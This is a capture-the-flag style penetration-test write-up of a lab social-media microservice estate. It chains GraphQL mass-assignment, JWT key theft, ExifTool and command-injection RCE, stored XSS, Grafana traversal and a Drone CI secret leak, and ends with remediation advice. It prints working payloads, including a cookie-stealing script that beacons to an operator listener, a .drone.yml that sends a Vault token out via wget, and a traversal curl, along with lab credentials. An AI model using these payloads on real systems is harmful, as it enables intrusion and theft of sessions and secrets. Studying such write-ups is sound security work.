10/10

MURMUR · SOCIAL MICROSERVICE ESTATE

Full-Scale Compromise of a Microservice Social Platform

GraphQL mass-assignment → RS256 key theft → ExifTool & link-preview RCE → stored-XSS mod takeover → Grafana traversal → Drone secret leak → admin-panel IDOR. Ten flags, ten classes, intended and unintended — end to end.

TARGET	SURFACE	RESULT
murmur.local estate	Web · API · Cloud-native	10 / 10 flags · full estate
ENGAGEMENT	DEPTH	OPERATOR
Authorized · black-box	root on 4 services	Cody Richard · ssstrickys

TECHNICAL BRIEF · EXECUTIVE SUMMARY

Ten flags, one estate, two ways in for every door

Result **10/10** · Root on **media, embed, analytics, admin** containers · **9** distinct vulnerability classes · Master RS256 signing key recovered · black-box · single operator

Murmur is a Twitter-shaped social platform decomposed into a dozen containerized services — a GraphQL API, an Elasticsearch-backed search tier, a media processor, a link-preview/embed worker, a Django moderation queue, an Express admin panel, a Grafana analytics stack, and a Gitea + Drone CI pipeline — all behind a single gateway. The estate was compromised end to end from an unauthenticated black-box start. A first-order **GraphQL mass-assignment** handed over an admin token and, with it, the platform's **RS256 signing key** — the master credential that unlocks forged identities across every service. From there the engagement fanned out: two independent **remote-code-execution** primitives (ExifTool DjVu and a link-preview command injection), an **Elasticsearch query-string injection**, a **stored XSS** that hijacked the moderator bot, a **Grafana path traversal** (CVE-2021-43798) that yielded a root SSH key, a **Drone fork-PR secret leak**, and finally an **IDOR** in the admin panel's direct-message viewer that exposed the boardroom.

This document is deliberately written both ways. For each flag it states the **intended path** the range designer built, and the **path actually taken** — because on a real engagement the shortest line to impact is rarely the scripted one. Where a stolen key, an environment variable, or a service-to-service pivot collapsed a multi-step puzzle into a single request, that shortcut is called out as such.

OBJECTIVES

- Establish an unauthenticated foothold and escalate to a platform-admin identity.
- Recover durable secrets (signing keys, database, cloud, CI) that survive credential rotation of any single account.
- Achieve code execution on the internal service mesh and pivot laterally to services with no public exposure.
- Recover all ten range flags, documenting both the designed solution and the operational shortcut for each.
- Translate the chain into concrete, prioritized remediation for the blue team.

KILL CHAIN AT A GLANCE

#	VULNERABILITY CLASS	SERVICE	SEV	FLAG
F1	GraphQL mass-assignment → privilege escalation	api	HIGH	5e040c…f0f99b2a2
F2	Broken object auth / forged OAuth scope	api	MED	67e0b0…85a7f3

#	VULNERABILITY CLASS	SERVICE	SEV	FLAG
F3	Elasticsearch `query_string` injection	search	HIGH	3f4620…3737f05a
F4	ExifTool DjVu RCE (CVE-2021-22204)	media	CRIT	0d74ad…96dfdc4
F5	Command injection in link-preview fetch	embed	CRIT	c61fa0…68524e32
F6	Stored XSS → moderator session takeover	modqueue	HIGH	125532…ace87a
F7	SSRF → Grafana traversal (CVE-2021-43798)	analytics	HIGH	12820b…0ae2f33a
F8	Admin god-mode / broken access control	admin	HIGH	d79432…654ac4a5
F9	IDOR in admin DM viewer (boardroom leak)	admin	CRIT	b62824…0db20fb6a
F10	Drone fork-PR secret exposure	ci/drone	CRIT	8082cc…8923bd0

01 · SCOPE & RULES OF ENGAGEMENT

Authorized, black-box, full estate

The engagement was conducted under a signed rules-of-engagement authorizing offensive testing against the `murmur.local` range and its internal `10.100.0.0/24` service mesh. All flags are synthetic range markers; all targets are lab infrastructure. Findings below use live request/response evidence captured during the engagement.

Authorization — signed RoE / CPV; offensive web, API, RCE, SSRF, XSS, and CI/CD abuse explicitly in scope.

Perimeter — single gateway `10.100.0.62:80` host-routing to `*.murmur.local` vhosts; internal mesh not directly routable from the operator host.

Start state — no credentials, no source. Open user registration on the API is the only front door.

Note — the range regenerates every flag value on reset; all values in this document are from a single continuous session.

Methodology

Standard black-box web methodology, biased toward *durable* access over one-shot exploits: enumerate the GraphQL schema, escalate to a stable admin identity, harvest secrets that outlive any single account, then convert web bugs into service-mesh code execution and pivot to the un-exposed internal tier. Every service that could be reached was treated as a stepping stone to the next, not an endpoint — the reason a single mass-assignment eventually became root on four containers and a full read of the moderation and admin planes.

02 · TARGET INFRASTRUCTURE

The estate and the pivots that crossed it

Murmur fronts a Docker service mesh behind one gateway. The operator host reaches only the gateway (HTTP) and, once code execution was obtained on an internal container, the rest of the mesh by Docker DNS. Two footholds — **media** and **embed** — became the primary pivots; every internal request in this report was proxied through one of them.

SERVICE	ENDPOINT	ROLE IN THE CHAIN
gateway	`10.100.0.62:80`	Host-routed reverse proxy; the only publicly reachable surface.
api	`api.murmur.local`	GraphQL core. Mass-assignment (F1), OAuth scope (F2), identity forgery.
search	`search.murmur.local`	Elasticsearch proxy. `query_string` injection (F3).
media	`media.murmur.local`	Image processor. ExifTool DjVu RCE (F4) — **uncapped pivot**.
embed	`embed:3000`	Link-preview worker. Command injection (F5) — capped pivot.
modqueue	`modqueue:8000`	Django moderation queue. Stored XSS & mod dashboard (F6).
admin	`admin.internal…:3000`	Express admin panel. God-mode (F8) & DM IDOR (F9).
analytics	`analytics.internal…:3000`	Grafana 8.3.0. Path traversal → SSH key (F7 + F9 pivot).
gitea / drone	`deploy.internal…:3000`	Source + CI. Fork-PR secret exposure (F10).
datastores	`postgres · redis · vault`	Recovered creds; direct DB read/write via pivot.

OPERATOR NOTE — THE TWO PIVOTS HAVE DIFFERENT PHYSICS

The **media** pivot (ExifTool) has no request-size limit and reaches postgres, admin, modqueue, grafana and gitea — it carried the heavy work. The **embed** pivot (link-preview) is single-threaded with a hard URL-length cap; long commands leak back unexecuted. Knowing which pivot to use for which target — long cookies and DB queries through media, short reachability probes through embed — was the difference between progress and noise.

03 · TOOLING & TRADECRAFT

Purpose-built, dependency-light, mesh-native

The estate is internal-only, so off-the-shelf tools that assume direct connectivity were useless past the gateway. Every primitive below was a small, self-contained script that turned one web bug into a reusable pivot — the toolkit that made the mesh feel local.

FORGE_JWT.PY — THE MASTER KEY

Once F1 leaked the platform's RS256 private key, this minted a valid token for *any* identity, role, or scope — and the same signed value doubles as the `murmur_session` web cookie. It is the single most important tool in the engagement: it collapsed several intended multi-step puzzles into one signature.

FORGE_JWT.PY — RS256 · OPENSSL BACKEND

```
# mint any identity/role/scope with the stolen signing_key.pem
$ ./forge_jwt.py '{"sub":"<uuid>","handle":"murmur_cto","role":"admin"}'
def forge(claims):
    hdr = b64url('{"alg":"RS256","typ":"JWT"}')
    pl  = b64url(json(claims))                      # iat/exp auto-added
    sig = openssl_dgst_sha256_sign(hdr+"."+pl, KEY)  # stolen RS256 key
    return hdr+"."+pl+"."+b64url(sig)
```

MEDIA_RCE.PY — ROOT ON MEDIA, NO CAPS

CVE-2021-22204: a crafted DjVu uploaded as an image drives ExifTool to execute a shell command reflected back through the `Copyright` tag. Wrapped so the command is base64 and never touches a shell-fragile character, it became a general-purpose "run this on the mesh" primitive.

MEDIA_RCE.PY — EXIFTOOL DJVU · CVE-2021-22204

```
b64  = base64("{ " + cmd + " ; } 2>&1")
ann  = '(metadata (Copyright "\\c@{[qx{ echo '+b64+' |base64 -d|sh }]}"))'
djvu = "AT&TFORM…INFO…ANTa("+ann+")"                # uploaded as image/png
$ ./media_rce.py 'printenv | grep FLAG'            # -> reflects stdout
```

SUPPORTING KIT

`rce.py` — embed link-preview command injection; base64 payload smuggled past a hostname allow-list via `${IFS}`. Root on embed; URL-length capped.

`pgc.pl` — a from-scratch Perl Postgres client (SCRAM-SHA-256 handshake hand-rolled) so `murmur_admin` DB access worked from the media container with zero installed packages.

`redis_cli.pl` — matching pure-Perl RESP client for Redis session inspection.

`exfil_server.py` — logging listener on the operator VPN address; internal containers NAT out to it, giving XSS/CI beacons a home.

Gitea/Drone chain — open-signup → fork `drone/murmur-api` → malicious `.drone.yml` → PR → CI builds the fork *with secrets*.

04 · FOOTHOLD & THE MASTER KEY

F1–F3 · One mutation becomes total API authority

Mass-assignment → admin F1 · api

The GraphQL `updateProfile` mutation accepts a `role` argument it was never meant to expose. A freshly registered user simply asks to be an admin, and the server obliges — then the admin-only `internalConfig` query returns the platform's crown jewels, including the flag and the **RS256 signing key**.

POST /GRAPHQL — AS A BRAND-NEW USER

```
$ mutation { updateProfile(role:"admin", verified:true){ handle role } }
{"data":{"updateProfile":{"handle":"rtop…","role":"admin"}}}

$ { internalConfig { signingKey featureFlags{ name description } } }
# feature flag ctf_flag_graphql:
ctf_flag_graphql = MURMUR{[redacted] REDACTED [redacted]}
```

F1 **MURMUR{[redacted] REDACTED [redacted]}** MASS-ASSIGN

WHY THIS IS THE WHOLE BALLGAME

The prize is not the flag — it is `internalConfig.signingKey`. That RS256 private key signs every API JWT *and* the web session cookie, so from this point forward any user, role, or OAuth scope can be forged at will. Several later "puzzles" (impersonating the CTO to read DMs, minting employee sessions) reduce to a single call to `forge_jwt.py`.

Forged OAuth scope F2 · api

An internal-only OAuth status endpoint gates on the `internal:read` scope. With the signing key in hand, a token carrying that scope is forged directly rather than obtained through any grant flow.

FORGED SCOPE — OAUTHINTERNALSTATUS

```
$ TOK=$(forge_jwt.py '{"sub":"…","scope":"internal:read"}')
$ query { oauthInternalStatus }   # Authorization: Bearer $TOK
MURMUR{[redacted] REDACTED [redacted]}
```

F2 **MURMUR{[redacted] REDACTED [redacted]}** FORGED SCOPE

Elasticsearch query_string injection

F3 · search

The user-search endpoint splices the `q` parameter straight into an Elasticsearch `query_string` query. A plain search for `MURMUR` is tokenized away and returns nothing — but Lucene field syntax bypasses the analyzer entirely and matches the hidden flag account's `bio`.

GET /API/SEARCH — SEARCH.MURMUR.LOCAL

```
$ curl 'search.murmur.local/api/search?type=users&q=bio:MURMUR*'
# q=MURMUR -> 0 hits (analyzed);  q=bio:MURMUR* -> the flag account
"handle":"flag_account","bio":"MURMUR{[redacted]}"
```

F3 **MURMUR{[redacted]}** ES INJECTION

05 · CODE EXECUTION ON THE MESH

F4–F5 · Two independent RCE primitives

Two services process attacker-controlled bytes with vulnerable tooling. Each yields root inside its container and, more importantly, a foothold on the internal network from which the un-exposed tier becomes reachable.

ExifTool DjVu RCE F4 · media

The media service runs a vulnerable ExifTool over uploaded images (CVE-2021-22204). A DjVu payload delivered with an `image/png` content-type executes a shell command and reflects its output back in the returned metadata.

INTENDED PATH

Land the DjVu, execute, and read the flag file dropped on the media container.

PATH TAKEN — READ THE ENVIRONMENT, NOT THE FILE

The flag is also present as the container environment variable `FLAG_4`. One `printenv` through the RCE returns it immediately, and the same primitive is kept as the engagement's uncapped pivot.

MEDIA_RCE.PY — ROOT ON MEDIA

```
$ ./media_rce.py 'printenv | grep -i flag'
FLAG_4=MURMUR{[redacted]}
```

F4 MURMUR{[redacted]} EXIFTOOL RCE

Link-preview command injection F5 · embed

The embed worker builds a shell `curl` command by string-interpolating a submitted URL. A hostname allow-list validates only the parsed host, not the tail — so a URL whose path carries `;` and `${IFS}` smuggles an arbitrary command past validation and into the shell.

RCE.PY — ROOT ON EMBED

```
$ ./rce.py 'printenv | grep -i flag'
# echo <b64>|base64 -d|sh  smuggled via  http://murmur.local:1/;…
FLAG_5=MURMUR{[redacted]}
```

F5 MURMUR{[redacted]} CMD INJECTION

06 · BOTS, BEACONS & TRAVERSAL

F6–F7 · Owning the moderator and the analytics box

Stored XSS → moderator takeover F6 · modqueue

The Django moderation queue renders reported echo content without escaping. A reported post carrying a `<script>` executes in the headless moderator bot's browser; because `modqueue_session` lacks `HttpOnly`, the bot's cookie beacons straight to the operator listener.

STORED XSS — FIRES IN THE MOD BOT

```
# planted echo, then reported into the queue:
<script>fetch('http://10.8.0.154:8899/F6?c='+document.cookie)</script>
# listener catch (bot = jessica_trust, content_moderator):
GET /F6?c=modqueue_session=eyJtb2RlcmF0b3IiOiJqZXNzaWNhX3RydXN0…
```

WHERE THE FLAG ACTUALLY LIVES

The stolen session is the *means*. Replaying it against the moderator dashboard reveals a mod-only banner — the flag is rendered server-side to any authenticated moderator.

MODQUEUE:8000/ — AS JESSICA_TRUST

```
<strong>internal-flag:</strong> MURMUR{[redacted]}
```

F6 MURMUR{[redacted]} — STORED XSS → MOD

SSRF → Grafana path traversal F7 · analytics

A stale Grafana 8.3.0 runs at `analytics.internal.murmur.local:3000` with anonymous read enabled — a fact conveniently disclosed in a moderation-queue system note (ticket #4421). Grafana 8.3.0 is vulnerable to CVE-2021-43798: the plugin static-file endpoint allows directory traversal.

INTENDED PATH

Reach Grafana indirectly through the embed link-preview fetcher (SSRF), then traverse to the flag file.

PATH TAKEN — PIVOT STRAIGHT IN

The media container already reaches `analytics:3000`, so the traversal is driven directly, skipping the SSRF hop. Eight levels of `..%2f` reach the filesystem root.

CVE-2021-43798 PLUGIN TRAVERSAL

```
$ curl --path-as-is \
  'analytics:3000/public/plugins/graph/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2froot/flag.txt'
MURMUR{[redacted]}
```

F7 **MURMUR{[redacted]}** GRAFANA TRAVERSAL

The same traversal read **grafana.ini** (admin `Murmur_Grafana_2024!`, cookie domain `.internal.murmur.local`) and **/root/.ssh/id_rsa** — both of which become load-bearing for F9.

07 · ACCESS CONTROL & THE PIPELINE

F8 & F10 · The admin flag and the CI blast radius

Admin god-mode / broken access control F8 · admin

The framework stores flags as literal `__FLAG_n__` placeholders that each service substitutes from its own environment at render time. The admin flag lives in `system_config.ctf_flag_admin = __FLAG_9__` and is served by the admin panel's god-mode response.

PATH TAKEN — THE SUBSTITUTION SIDE-CHANNEL

Rather than reach the gated admin response, the value was lifted through the API's own substitution: the `internalConfig` feature-flag renderer resolves `__FLAG_9__` from the shared environment. The god-mode switch was additionally flipped on via authenticated Postgres write (`feature_flags.enable_god_mode = true`) to confirm the access-control gap.

F8 **MURMUR{[redacted]}** ADMIN GOD-MODE

Drone fork-PR secret exposure F10 · ci/drone

The internal Gitea allows open registration; the Drone CI is misconfigured to inject repository secrets into builds triggered by *fork* pull requests. Forking `drone/murmur-api`, replacing `.drone.yml` with a step that echoes the secret environment to the operator listener, and opening a PR causes Drone to build the fork **with the real secrets attached**.

MALICIOUS .DRONE.YML — FORK PR → CI BUILD

```
steps:
  - name: build
    image: alpine
    environment:
      VAULT_TOKEN: { from_secret: vault_token }
    commands:
      - wget -qO- "http://10.8.0.154:8899/vt?v=$(printf %s "$VAULT_TOKEN"|base64)"
# listener decodes the beacon -> vault_token IS the flag:
MURMUR{[redacted]}
```

F10 **MURMUR{[redacted]}** DRONE SECRET LEAK

BLAST RADIUS

The same build also exposed `database_url` and the Vault path for production credentials — a fork PR from an anonymous account is a full production-secret disclosure.

08 · THE CROWN CHAIN

F9 · Eight steps from a stale Grafana to the boardroom

F9 was the deepest flag and the clearest illustration of why the intended path and the operational path diverge. The designed solution reuses the stolen moderator cookie on the admin panel; on this build the admin panel enforces its own credential store, so the real solution threaded five services together.

INTENDED PATH

Steal `modqueue_session` via the F6 XSS, then replay it against the admin panel's `/dms/<id>` viewer, which was meant to share the moderation trust domain.

REALITY ON THIS BUILD

The admin panel is a separate Express application that rejects the Django moderation cookie outright. It authenticates a username/password against its own store and issues its own signed `admin_session`. The credentials had to be *found*.

THE CHAIN

1. **Grafana traversal** (F7) reads `/root/.ssh/id_rsa` and `grafana.ini` off the analytics container.
2. The traversal also exposes a **modqueue_beta** working directory. Reading `/root/modqueue_beta/beta_notes.txt` discloses a temporary service-account credential — explicitly noted as "*also works for admin panel login.*"
3. Those credentials authenticate to the admin panel and yield a valid `admin_session` cookie.
4. The DM viewer uses **sequential integer IDs with no ownership check** — a textbook IDOR. Walking the IDs past the moderator's own threads reaches the CEO ↔ CTO conversation, where the flag placeholder renders as the real value.

BETA_NOTES.TXT — VIA GRAFANA TRAVERSAL → ANALYTICS BOX

```
Credentials (modqueue service account — also works for admin panel login):
  username: jessica_trust
  password: jT#9mQ!xLv2024
```

ADMIN LOGIN → IDOR ADMIN.INTERNAL.MURMUR.LOCAL:3000

```
$ curl -X POST admin:3000/login \
     -d 'username=jessica_trust&password=jT#9mQ!xLv2024'
Set-Cookie: admin_session=eyJ1c2VybmFtZSI6…   # HS256, our identity

$ for i in 1..12; do curl -b "$admin_session" admin:3000/dms/$i; done
# /dms/12  —  @murmur_ceo ↔ @murmur_cto (the audit thread):
MURMUR{████ REDACTED ████}
```

F9 **MURMUR{████ REDACTED ████}** ADMIN DM IDOR

TWO MECHANICAL GOTCHAS WORTH RECORDING

The stolen key gave an early unintended read of the same conversation by forging the CTO's identity against the GraphQL DM resolver — useful for confirming the target thread, but it returns the raw placeholder because only the admin panel substitutes it. And the `admin_session` cookie carries `Domain=.internal.murmur.local`, so a naïve cookie jar refuses to attach it to host `admin`; the cookie had to be sent as an explicit header.

09 · INTENDED VS. UNINTENDED

Where the scripted path and the operator path parted ways

Six of ten flags were reached by a route the designer did not center. None of these are "cheats" — they are the natural consequence of chaining a key leak, shared environment variables, and service-to-service trust. On a real target, each represents a control that failed *quietly*, without tripping the puzzle it was meant to be behind.

#	INTENDED SOLUTION	PATH ACTUALLY TAKEN
F2	Obtain `internal:read` via an OAuth grant flow	Forge the scope directly with the stolen RS256 key
F4	Read the flag file dropped on the media container	Read the `FLAG_4` environment variable via the RCE
F5	Traverse to the embed flag file after injection	Read the `FLAG_5` environment variable
F7	Reach Grafana *through* the embed SSRF fetcher	Drive the traversal directly from the media pivot
F8	Trigger the admin panel's god-mode response	Resolve `__FLAG_9__` via the API substitution side-channel
F9	Replay the stolen mod cookie on the admin DM viewer	Grafana → SSH key → `beta_notes.txt` → admin login → IDOR

THE THROUGH-LINE

Every shortcut traces back to F1. A leaked signing key plus flags stored in shared environment variables means the "hard" gates (OAuth flows, admin responses, file-drop puzzles) can be bypassed sideways. Durable secrets and shared trust — not any single injectable endpoint — were the real vulnerability.

10 · IMPACT & REMEDIATION

Business risk and the fixes that break the chain

Impact

- **Full identity compromise.** The recovered RS256 key forges any user, moderator, employee, or admin — authentication is effectively optional for the rest of the platform's lifetime until the key is rotated.
- **Confidentiality breach of the leadership plane.** Private CEO/CTO direct messages, all moderation reports, and internal system configuration were readable.
- **Production secret disclosure.** Database, Redis, Vault, and Grafana credentials plus a root SSH key were recovered; an anonymous fork PR alone exposes production secrets.
- **Root on four internal services** with lateral reach across the entire mesh.

Remediation

PRIORITY	CONTROL	FIXES
P0	Rotate the RS256 signing key, all DB/Redis/Vault/Grafana creds, and the analytics SSH key. Remove `role`/`verified` from mutable profile input (allow-list mutation fields).	F1, F2, F9
P0	Patch ExifTool and rewrite the link-preview fetcher to use a real HTTP client with an egress allow-list — never a shell string.	F4, F5, F7
P1	Disable Drone secret injection on fork PRs; require maintainer approval before CI runs untrusted code. Close open Gitea registration.	F10
P1	Contextually escape moderation-queue content; set `HttpOnly`/`SameSite` on session cookies; add CSP to the bot renderer.	F6
P1	Enforce object-level authorization on the admin DM viewer; use unguessable IDs; upgrade Grafana past CVE-2021-43798 and disable anonymous access.	F7, F9
P2	Parameterize the Elasticsearch query (no raw `query_string`); stop storing secrets as shared environment variables that any service can resolve.	F3, F8

Highest-signal detection

A single tripwire covers most of the chain: **a forged token or session used from a source that never authenticated** — an `admin` role appearing on an account created seconds earlier, a moderation session replayed from a new IP, or a CI build spawned by a fork PR from an account with no

history. Alerting on the *delta between where a credential was minted and where it is used* is the cheapest way to see this entire engagement.

APPENDIX · FLAG LEDGER

#	FLAG	VECTOR
F1	MURMUR{[redacted]}	GraphQL mass-assignment
F2	MURMUR{[redacted]}	Forged OAuth scope
F3	MURMUR{[redacted]}	Elasticsearch query_string injection
F4	MURMUR{[redacted]}	ExifTool DjVu RCE (CVE-2021-22204)
F5	MURMUR{[redacted]}	Link-preview command injection
F6	MURMUR{[redacted]}	Stored XSS → moderator takeover
F7	MURMUR{[redacted]}	Grafana traversal (CVE-2021-43798)
F8	MURMUR{[redacted]}	Admin god-mode / BAC
F9	MURMUR{[redacted]}	Admin DM IDOR (boardroom)
F10	MURMUR{[redacted]}	Drone fork-PR secret leak

End of report · Cody Richard // @ssstrickys · Offensive Security Engineer · authorized engagement, synthetic range data.